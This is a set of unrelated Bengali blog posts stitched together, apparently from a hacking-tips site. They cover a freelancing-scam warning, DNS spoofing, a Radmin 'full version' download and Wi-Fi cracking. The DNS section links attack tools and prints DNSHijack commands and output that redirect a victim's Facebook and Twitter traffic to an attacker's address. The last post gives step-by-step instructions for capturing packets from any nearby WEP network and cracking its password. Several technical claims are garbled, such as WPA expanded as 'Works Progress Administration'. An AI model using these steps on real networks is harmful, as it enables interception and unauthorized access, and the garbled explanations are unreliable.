৫. ভ্রান্ত ধারনা থেকে ফ্রীলান্সিং শুরু করাঃ


ফ্রীলান্সিং নিয়ে ভ্রান্ত ধারনা কি, তা হয়তো এই সময়ে আর বলে দিতে হবে না। উপরে লিখা “আউটসোর্সিং বা ফ্রীলান্সিং কি?” এই বিষয়টি ভাল করে বুঝতে পারলে আপনাকে কেউ ভ্রান্ত করতে পারবে না। তারপরেও বলি, ধরুন, আপনি যাদেরকে ফ্রীলাসিং এ সাকসেস হতে দেখে নিজেও ফ্রীলান্সিং করতে আসলেন। কিন্তু, আপনি ভাল করে জেনে নিলেন না আসলেই আপনার ঐ ভাই বা বোনটি কি কাজ করে ফ্রীলান্সিং এ সাকসেস হয়েছেন। আর আপনার এই নাম জানার কারণেই বর্তমান সমাজে কিছু কুলাঙ্গাররা সুযোগ নিবে আপনার মূল্যবান সময়, শ্রম, অর্থ হাতিয়ে নেবার জন্য। বাস্তবিক ভাবে অনেককেই দেখেছি এখন দেখছি, কেউ কেউ নিজের সম্পত্তি বিক্রয় করেও টাকা ইনভেস্ট করে সেসব মূল্যহীন কাজে। একবার ভাবুনতো বা খোঁজ নিয়ে দেখুনতো, আপনি আপনার পাশের যে ভাই বা বোনটির সফলতা দেখে ফ্রীলান্সিং করতে নামলেন তিনি কাজ পেতে নিজের সম্পত্তি বিক্রয় করেছেন। এমনটা হতে পারে, তিনি কাজ শিখার জন্য টাকা ইনভেস্ট করেছেন কিন্তু কাজ পেতে নয়। :-)
পোস্টির মূল আলোচনা এখানেই শেষ! আবার আপনার ভাবে দেখবার পালা। উপরের পাঁচটি কারণের যে কোন একটি আপনার মাঝে থাকলে আপনি কখনই সফল ফ্রীলান্সার হতে পারবেন না। আপনি কি উপরের কোনটির সাথে আপনার মিল খুঁজে পান? যদি মিল খুঁজে পেয়ে থাকেন আর স্বপ্ন দেখেন সফল হবার, তাহলে আপনি ভুল পথে হাঁটছেন! :-(
শেষ কথা
এই পর্যন্তই ছিল । টিউন সম্পর্কে মতামত দেবেন ।
এরকম অনেক কিছু পাবেন > http://www.facebook.com/CY133R
আর আমার সাথে যুক্ত হতে পারেন > http://www.facebook.com/techfreak.unknown
আজ এই পর্যন্ত-ই! পোস্টটি সম্পর্কে আপনার মূল্যবান মতামত জানাতে ভুলবেন।

হ্যাকিং এ DNS spoofing কি?

DNS spoofing orDNS poisioning
এটি এমন একটি টেকনিক যার মাধ্যমে ভিক্টিম মনে করবে সে তার পিসির ব্যাপারে কোন প্রয়োজনীয় তথ্য পেয়েছে কিন্তু আসলে যা হবে একটি ফাঁদ। আমরা যখন কোন ওয়েবসাইট এ যাই তখন তার DNS সার্ভার আমাদের আইপি কে ট্র্যাক করে এরপর সাইট এর মূল পেযে নিয়ে যায়। কিন্তু DNS  সার্ভার যদি সার্ভারেই না থাকে !!!! মানে এটি যদি হ্যাক হয় তাহলে আপনার আইপি কে আমি যেখানে নিয়ে যাব আপনি সেখানে যেতেই বাধ্য।
DNS অ্যাটাক করার জন্য সার্ভার সফটওয়্যার এ আক্রমণকারী কিছু flaw বা ভুল পরিসংখ্যান দেখায়। তখন যদি সার্ভার এর নিরাপত্তা দুরবল হয় তখন সে সেগুলকে আসল মনে করে এবং কাঙ্খিত সাইট এ নিয়ে যায়।  হ্যাক এর যে সাইট প্রভাইড করে তার মাধ্যমে সে ভাইরাস বা স্প্যাম যে কোন কিছুই ছড়াতে পারে।  আপনি যদি এ ধরনের কোন সাইট থেকে কোন কিছু ডাউনলোড করেন। দেখবেন ডাউনলোড বন্ধ ক্রার পর বারবার সেটি ডাউনলোড হবার চেষ্টা করছে । এটি সাধারনত চার ভাবে হয়।
INTERNET  SPOOFING
ITHERNET SPOOFING
PROXY SERVER DNS POISIONING
DNS CACHE POISIONING
তাত্ত্বিক কথা বার্তা বলে বোঝানো কঠিন ।তাই কয়েকটি টুল দেখুন
etherflood
http://www.4shared.com/rar/U5AX2-rL/etherflood.html
এর মাধ্যমে সার্ভার এর নেটওয়ার্ক এ ফ্লাড বা বাধা বানান হয়। এর সাহায্যে হ্যাক এর সব ধরনের নেটওয়ার্ক ট্রাফিক নিযের সাইট এ টেনে নেন
sterm
http://www.softpedia.com/get/Network-Tools/IP-Tools/sTerm.shtml
এটি এমন এক টুল যার সাহায্যে আপনি ফায়ার ওয়াল ,সিকিউরিটি এবং নেটওয়ার্ক ডিভাইস বাইপাস করে যেতে পারবেন। এটি আপনার আসল আইপি এবং ম্যাক এড্রেস লুকিয়ে রাখবে।
dns hijack
http://www.megapanzer.com/wp-content/uploads/DNSHijack.zip
http://www.megapanzer.com/wp-content/uploads/DNSHijack_0_4.zip
এটি সবচে কার্যকরী টুল । টি সার্ভার এ আইপির জন্য বারবার প্রশ্ন করতে থাকে। আর বারবার উত্তর পায় । সেই উত্তর এর সময় বের করে সেটির সাথে ওয়ার্ড এর মিল খুযে বের করে। বা সেটি জমা করে। ধরুন প্রথমবার উত্তর এল 0.00003 সেকেন্ড এ পরেরবার 0.00001 সেকেন্ড এ তাহলে পাসওয়ার্ড হতে পারে 4341 কিন্তু বিষয় টা এত টা সহয নয় । আমি এ টা নিয়ে  ছোট  কিছু কায করেছি ।তাই একটি রিভিউ দিলাম।
Listing all the interfaces on the system
1
2
3
4
5
6
7
8
9
10
11
C:\Users\run> DNSHijack.exe -l
Ifc no : 15
        Adapter Name:   {E21E6E6E-A74D-1ADB-ADEE-E6458989F824}
        Adapter Desc:   Dell Wireless 1701 802.11b/g/n
        Adapter Addr:   94-1E-E7-DE-AD-D9
        Index:  15
        Type:   Unknown type 71
        IP Address:     192.168.10.146
        IP Mask:        255.255.255.0
...
C:\Users\run>
Starting DNSHijack
1
2
3
4
5
6
7
8
9
10
11
C:\Users\run> DNSHijack.exe E21E6E6E-A74D-1ADB-ADEE-E6458989F824
AddToList(1) :  /www.twitter.com/192.168.1.103/
AddToList(1) :  /twitter.com/192.168.1.103/
AddToList(1) :  /www.xing.com/192.168.1.103/
AddToList(1) :  /www.facebook.com/192.168.1.103/

[2012-04-03 18:12:47] Request from 192.168.1.105 to DNS server 88.84.0.2
                      Redirecting http://www.facebook.com to 192.168.1.103
...

C:\Users\run>
Configuration file hosts.txt
1
2
3
4
5
6
http://www.skype.com:192.168.1.103
http://www.linkedin.com:192.168.0.1.103
http://www.twitter.com:192.168.1.103
twitter.com:192.168.1.103
http://www.xing.com:192.168.1.103
http://www.facebook.com:192.168.1.103

এখনই ডাউনলোড করুন পিসি রিমোট কন্ট্রোল বা হ্যাকিং এর জন্য এক অদ্বিতীয় সফটওয়্যার Radmin 3.4 ফুল ভার্সন { Unique টিউন }


প্রথমে সবাই কে সালাম ।আস্ সালামু ওয়াআলাইকুম। সবাইকে জানাই আমার প্রাণঢালা শুভেচ্ছা । আপনারা অনেকে রিমোট পিসি চালানোর জন্য Radmin ব্যাবহার করেন । এটি নিঃসন্দেহে একটি দারুন সফটওয়্যার । আজকে আপনাদের কাছে এর লেটেস্ট ফুল ভার্সন নিয়ে এলাম ।
Title : Radmin
Size: 7.94 MB
Type: PC Remote Control Software

ওয়াইফাই হ্যাকিং !!!!! বিষয়টা কি এতটাই কঠিন??

বর্তমানে ওয়াইফাই সন্দেহাতীত ভাবে একটি প্রয়োজনীয় অনুষঙ্গ। ওয়াইফাই এর মাধ্যমে এনক্রিপ্টেদ তথ্য বাতাসের মধ্যে দিয়ে চলে যায়। কিন্তু আপনি টা জানতেও পারেন না । WEP (Wired Equivalent Privacy) ছিল প্রথম নিরাপদ এন ক্রিপ্সন পদ্ধতি। কিন্তু WPA , WPA-PSK (Works Progress Administration) ইত্যাদি পদ্ধতি এর জায়গা দখল করে নিয়েছে । সাধারনত WEP wifi  হ্যাক  করতে 5-6 ঘণ্টা সময় লাগে। কিন্তু ভাল সিগন্যাল পেলে আর ও কম  সময় এর মধ্যে করা যায় ।
Tools to Be Used
আমরা ওয়াইফাই হ্যাক করতে ২ টি টুল ব্যবহার করব।
1. Commview For Wifi
এটি একটি প্যাকেট স্নিফিং টুল । মানে এটি ওয়াইফাই তে প্রবাহিত হওয়া ইন্টারনেট প্যাকেট গুলো ধরে এবং জমা করে । যত প্যাকেট জমবে তত WEP. হ্যাক করার সুযোগ বেড়ে যাবে ।  আমাদের কমপক্ষে ১০০০০ প্যাকেট লাগবে ওয়াইফাই এর পাসওয়ার্ড ভাঙ্গার জন্য
packet গুলো আসবে .ncp ফরমেটে  । আমরা একে .cap ফরমেটে বদলে নেব ।
আমি এই টিউটোরিয়ালে উইন্ডোজ ৭ ব্যবহার করেছি । আপনি অন্য কোন সিস্টেম ব্যবহার করতে পারেন।  কিন্তু আপনার ওয়াইফাই কার্ড সাপোর্ট না করলে virtual machine এ উইন্ডোজ ৭ ইন্সটল করে নেবেন।
2.Aircrack-Ng GUI :
এই সফটওয়্যার এর সাহায্যে আমরা ফাইল কে .cap ফরমেটে নিয়ে যাব । এগুলো নিচের লিঙ্ক থেকে নামিয়ে নিন ।
Commview For Wifi >http://www.tamos.com/download/main/ca.php
Aircrack-Ng GUI> http://www.aircrack-ng.org/
মনে রাখবেন এই সফটওয়্যার গুলো চালাতে হলে আপনাকে কম্পিউটার এ adminstrator mode এ কাজ করতে হবে ।
LET THE HACKING BEGIN !!!!
প্রথমে commonview সফটওয়্যার টি ইন্সটল করুন । আপনি voip বা standerd যে কোন মোড এ ইন্সটল করতে পারেন । আমি voip দিয়ে করেছি। এটি automettically  প্রয়োজনীয় ড্রাইভার ইন্সটল করতে থাকবে।
আপনি এই সফটওয়্যার ব্যবহার করে কোন নেটওয়ার্ক এ যুক্ত হতে পারবেন না। এটি সুধু হ্যাকিং টুল ।
এখন সফটওয়্যার চালু করে বামদিকের প্লে আইকন এ ক্লিক করুন ।

একটি নতুন উইন্ডো ওপেন হবে ।  সেখানে start scanning বাটনে ক্লিক করুন ।

এখন ডান দিকের উইন্ডো তে আপনি অনেকগুলো নেটওয়ার্ক দেখতে পাবেন । ইচ্ছামত যে কোন একটি কে সিলেক্ট করুন এবং capture বাটনে ক্লিক করুন ।

এই  টিউটোরিয়াল এ আমি WEP protected network হ্যাক করা দেখাচ্ছি। তাই wep এন ক্রিপ্টেড নেটওয়ার্ক সিলেক্ট করবেন ।
সব উইন্ডো বন্ধ হয়ে যাবে এবং আমরা দেখব commonview প্যাকেট ক্যাপ চার করা শুরু করে দিয়েছে

প্যাকেট ক্যাপ চার হচ্ছে এখন আমাদের সেগুলো সেভ করতে হবে। এর জন্য
Click on Settings->Options->Memory Usage
Change Maximum Packets in buffer to 20000


এবার LOGGING Tab  সিলেক্ট করে   AUTO-SAVING এ টিক দিন ।
এবার Maximam Directory তে ২০০০ এবং  Log File Size এ ২০ লিখে দিন

এখন commonview ২০ মেগাবাইট আকারে  প্যাকেট সংগ্রহ করতে থাকবে .ncp ফরমেটে ।  এই ফাইল  আপনি যে directory তে সেভ করেছেন সেখানে জমা হবে ।
এখন যেহেতু আপনি অনেক লগ জমা করছেন তাই এগুলো কে একটি ফাইল এ কম্পাইল করতে হবে এর জন্য Logging Tab  এর  CONCATENATE LOGS. এ যান এবং একটি ফাইল এ পরিনত করুন ।
করা শেষ হলে .ncf  ফরমেটে আমরা একটি ফাইল পাব।
AIRCRACK-NG কে ইন্সটল করুন এবং আমরা যে একটি ফাইল পেয়েছি সেটিকে .cap এ রুপান্তর করতে হবে । এটা করার জন্য
AIRCRACK-NG তে যান এবং
Click on File->Log Viewer->Load Commview Logs-> Choose the .ncf file ,
Now File->Export->Wireshark/TCP dump format .
PART 2 AirCrack-NG
এই অংশ খুব সহজ। AirCrack folder খুলুন এবং Bin->Aircrack-ng GUI.exe  লোকেসান এ যান এবং GUI  এ .Cap file  বসান এবং Next->Next->Next
এখন তার সব তথ্য যেমন সে দিনে কয় মেগাবাইট নেট ব্যবহার করে , তার ওয়াইফাই ইউযারনেম, পাসওয়ার্ড সব আপনি পেয়ে যাবেন । কিন্তু কয়েক ঘন্টা ও লাগতে পারে ।